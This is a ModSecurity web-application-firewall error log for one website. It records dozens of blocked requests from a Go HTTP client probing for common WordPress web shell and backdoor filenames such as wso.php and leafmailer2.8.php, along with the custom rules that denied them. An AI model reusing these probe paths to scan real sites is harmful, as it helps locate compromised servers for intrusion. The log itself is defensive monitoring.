[Sun Nov 23 08:56:48.365121 2025] [:error] [pid 38739:tid 38782] [client 85.203.21.228:41477] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aSJb0AdvEgJm2n2cDmpkOgAAAE0"]
[Sun Nov 23 08:56:48.795475 2025] [:error] [pid 38739:tid 38769] [client 85.203.21.176:65353] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "aSJb0AdvEgJm2n2cDmpkPAAAAEA"]
[Sun Nov 23 08:56:49.005368 2025] [:error] [pid 38738:tid 38753] [client 85.203.21.223:25593] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aSJb0Qytc6TL9XavPmMakwAAAAs"]
[Sun Nov 23 08:56:49.274464 2025] [:error] [pid 38738:tid 38747] [client 85.203.21.164:28463] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aSJb0Qytc6TL9XavPmMalQAAAAU"]
[Sun Nov 23 08:56:49.465309 2025] [:error] [pid 38740:tid 38807] [client 85.203.21.52:59279] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/makeasmtp.php"] [unique_id "aSJb0Q13QPZSi6O8umXb9AAAAIs"]
[Sun Nov 23 08:56:49.660716 2025] [:error] [pid 38824:tid 38836] [client 193.37.32.1:37115] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wpr-addons/forms/b1ack.php"] [unique_id "aSJb0U8WZjXLvbHTHPcMTQAAAMk"]
[Sun Nov 23 08:56:49.843320 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.186:24451] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/222.php"] [unique_id "aSJb0QdvEgJm2n2cDmpkQQAAAFU"]
[Sun Nov 23 08:56:50.088084 2025] [:error] [pid 38739:tid 38792] [client 85.203.21.190:45283] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/phpad/as.php"] [unique_id "aSJb0gdvEgJm2n2cDmpkRAAAAFc"]
[Sun Nov 23 08:56:50.315630 2025] [:error] [pid 38824:tid 38846] [client 85.203.21.195:52849] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/updates.php"] [unique_id "aSJb0k8WZjXLvbHTHPcMXQAAANM"]
[Sun Nov 23 08:56:50.506461 2025] [:error] [pid 38824:tid 38849] [client 85.203.21.45:49181] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSJb0k8WZjXLvbHTHPcMYAAAANY"]
[Sun Nov 23 08:56:53.978569 2025] [:error] [pid 44652:tid 44721] [client 85.203.21.170:37655] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/form.php"] [unique_id "aSJb1diQFwsyXQDhwyANoQAAAQ8"]
[Sun Nov 23 08:56:54.213833 2025] [:error] [pid 38738:tid 38756] [client 85.203.21.170:25149] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/posts"] [unique_id "aSJb1gytc6TL9XavPmManAAAAA4"]
[Sun Nov 23 08:56:54.432977 2025] [:error] [pid 38738:tid 38747] [client 85.203.21.155:57837] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-parsidate/includes/admin/acf-fields-adyrui.php"] [unique_id "aSJb1gytc6TL9XavPmManQAAAAU"]
[Sun Nov 23 08:56:54.615236 2025] [:error] [pid 38739:tid 38771] [client 85.203.21.206:34611] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/asasx.php"] [unique_id "aSJb1gdvEgJm2n2cDmpkTgAAAEI"]
[Sun Nov 23 08:56:55.021717 2025] [:error] [pid 44652:tid 44714] [client 85.203.21.190:38493] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/aback.php"] [unique_id "aSJb19iQFwsyXQDhwyANowAAAQg"]
[Sun Nov 23 08:56:55.217070 2025] [:error] [pid 38738:tid 38760] [client 85.203.21.207:38501] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aSJb1wytc6TL9XavPmManwAAABI"]
[Sun Nov 23 08:56:55.399324 2025] [:error] [pid 38739:tid 38785] [client 85.203.21.156:42339] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ad.php"] [unique_id "aSJb1wdvEgJm2n2cDmpkUgAAAFA"]
[Sun Nov 23 08:56:55.591608 2025] [:error] [pid 44652:tid 44722] [client 85.203.21.162:45689] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/moderation.php"] [unique_id "aSJb19iQFwsyXQDhwyANpwAAARA"]
[Sun Nov 23 08:56:55.815969 2025] [:error] [pid 44652:tid 44724] [client 85.203.21.197:23211] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/classwithtostring.php"] [unique_id "aSJb19iQFwsyXQDhwyANqAAAARI"]
[Sun Nov 23 08:56:56.021473 2025] [:error] [pid 44652:tid 44706] [client 85.203.21.238:36341] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aSJb2NiQFwsyXQDhwyANqQAAAQA"]
[Sun Nov 23 08:56:56.222819 2025] [:error] [pid 44652:tid 44725] [client 85.203.21.57:44309] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aSJb2NiQFwsyXQDhwyANqwAAARM"]
[Sun Nov 23 08:56:56.458017 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.170:47885] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/jindex.php"] [unique_id "aSJb2NiQFwsyXQDhwyANrAAAARE"]
[Sun Nov 23 08:56:56.651120 2025] [:error] [pid 38738:tid 38762] [client 85.203.21.186:59133] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aSJb2Aytc6TL9XavPmMaoAAAABQ"]
[Sun Nov 23 08:56:56.829361 2025] [:error] [pid 38740:tid 38807] [client 85.203.21.206:32017] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSJb2A13QPZSi6O8umXcAwAAAIs"]
[Sun Nov 23 08:56:57.037971 2025] [:error] [pid 38738:tid 38750] [client 193.37.32.2:47113] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/default.php"] [unique_id "aSJb2Qytc6TL9XavPmMaogAAAAg"]
[Sun Nov 23 08:56:57.267874 2025] [:error] [pid 38739:tid 38769] [client 85.203.21.168:48301] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/leaf.php"] [unique_id "aSJb2QdvEgJm2n2cDmpkVgAAAEA"]
[Sun Nov 23 08:57:02.471021 2025] [:error] [pid 38740:tid 38801] [client 85.203.21.170:58989] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "aSJb3g13QPZSi6O8umXcCQAAAIU"]
[Sun Nov 23 08:57:02.665604 2025] [:error] [pid 38824:tid 38840] [client 85.203.21.160:49823] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ioxi/ioxi/dropdown.php"] [unique_id "aSJb3k8WZjXLvbHTHPcMeQAAAM0"]
[Sun Nov 23 08:57:02.863521 2025] [:error] [pid 38739:tid 38789] [client 85.203.21.184:38817] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/mainhosting/default.php"] [unique_id "aSJb3gdvEgJm2n2cDmpkXQAAAFQ"]
[Sun Nov 23 08:57:03.073691 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.58:46677] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aSJb39iQFwsyXQDhwyANtAAAARE"]
[Sun Nov 23 08:57:03.255451 2025] [:error] [pid 38738:tid 38761] [client 85.203.21.41:45085] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aSJb3wytc6TL9XavPmMaqgAAABM"]
[Sun Nov 23 08:57:03.444228 2025] [:error] [pid 38739:tid 38791] [client 85.203.21.197:50599] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "aSJb3wdvEgJm2n2cDmpkXgAAAFY"]
[Sun Nov 23 08:57:08.666455 2025] [:error] [pid 38824:tid 38836] [client 85.203.21.208:48373] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/sim.php"] [unique_id "aSJb5E8WZjXLvbHTHPcMgQAAAMk"]
[Sun Nov 23 08:57:09.060148 2025] [:error] [pid 38824:tid 38829] [client 85.203.21.168:52559] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSJb5U8WZjXLvbHTHPcMhAAAAMI"]
[Sun Nov 23 08:57:09.442200 2025] [:error] [pid 44652:tid 44715] [client 85.203.21.58:35319] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aSJb5diQFwsyXQDhwyANwQAAAQk"]
[Sun Nov 23 08:57:09.640908 2025] [:error] [pid 38824:tid 38841] [client 85.203.21.186:57979] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aSJb5U8WZjXLvbHTHPcMhgAAAM4"]
[Sun Nov 23 08:57:09.845321 2025] [:error] [pid 38824:tid 38838] [client 85.203.21.217:27687] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSJb5U8WZjXLvbHTHPcMhwAAAMs"]
[Sun Nov 23 08:57:10.063001 2025] [:error] [pid 38738:tid 38752] [client 85.203.21.222:34663] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xml.php"] [unique_id "aSJb5gytc6TL9XavPmMaugAAAAo"]
[Sun Nov 23 08:57:10.247175 2025] [:error] [pid 38738:tid 38765] [client 85.203.21.162:20925] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSJb5gytc6TL9XavPmMauwAAABc"]
[Sun Nov 23 08:57:10.441804 2025] [:error] [pid 38738:tid 38744] [client 85.203.21.188:28691] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/class-config.php"] [unique_id "aSJb5gytc6TL9XavPmMavQAAAAI"]
[Sun Nov 23 08:57:10.639636 2025] [:error] [pid 38824:tid 38849] [client 85.203.21.168:47591] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSJb5k8WZjXLvbHTHPcMiAAAANY"]
[Sun Nov 23 08:57:10.828237 2025] [:error] [pid 44652:tid 44720] [client 85.203.21.45:29029] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aSJb5tiQFwsyXQDhwyANwgAAAQ4"]
[Sun Nov 23 08:57:11.029480 2025] [:error] [pid 44652:tid 44725] [client 85.203.21.235:60635] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aSJb59iQFwsyXQDhwyANxAAAARM"]
[Sun Nov 23 08:57:11.238882 2025] [:error] [pid 38824:tid 38837] [client 85.203.21.170:21455] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/back.php"] [unique_id "aSJb508WZjXLvbHTHPcMiQAAAMo"]
[Sun Nov 23 08:57:11.448983 2025] [:error] [pid 38739:tid 38787] [client 85.203.21.192:42269] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSJb5wdvEgJm2n2cDmpkYwAAAFI"]
[Sun Nov 23 08:57:11.823728 2025] [:error] [pid 38739:tid 38789] [client 85.203.21.183:22167] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSJb5wdvEgJm2n2cDmpkZQAAAFQ"]
[Sun Nov 23 08:57:12.043498 2025] [:error] [pid 38740:tid 38800] [client 85.203.21.226:38569] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aSJb6A13QPZSi6O8umXcEQAAAIQ"]
[Sun Nov 23 08:57:12.232125 2025] [:error] [pid 38738:tid 38760] [client 85.203.21.207:38111] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/leafmailer2.8.php"] [unique_id "aSJb6Aytc6TL9XavPmMawQAAABI"]
[Sun Nov 23 08:57:12.422512 2025] [:error] [pid 38739:tid 38776] [client 85.203.21.213:46733] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSJb6AdvEgJm2n2cDmpkaAAAAEc"]
[Sun Nov 23 08:57:12.663738 2025] [:error] [pid 38738:tid 38752] [client 85.203.21.159:26837] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/up.php"] [unique_id "aSJb6Aytc6TL9XavPmMawgAAAAo"]
[Sun Nov 23 08:57:12.863668 2025] [:error] [pid 38738:tid 38762] [client 85.203.21.156:21915] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wsa.php"] [unique_id "aSJb6Aytc6TL9XavPmMawwAAABQ"]
[Sun Nov 23 08:57:13.051762 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.162:62315] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aSJb6Qytc6TL9XavPmMaxAAAAAg"]
[Sun Nov 23 08:57:13.241650 2025] [:error] [pid 38738:tid 38745] [client 85.203.21.157:63681] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aSJb6Qytc6TL9XavPmMaxQAAAAM"]
[Sun Nov 23 08:57:13.457457 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.204:41993] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aSJb6diQFwsyXQDhwyANxgAAARE"]
[Sun Nov 23 08:57:13.760305 2025] [:error] [pid 38739:tid 38786] [client 85.203.21.178:58007] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aSJb6QdvEgJm2n2cDmpkawAAAFE"]
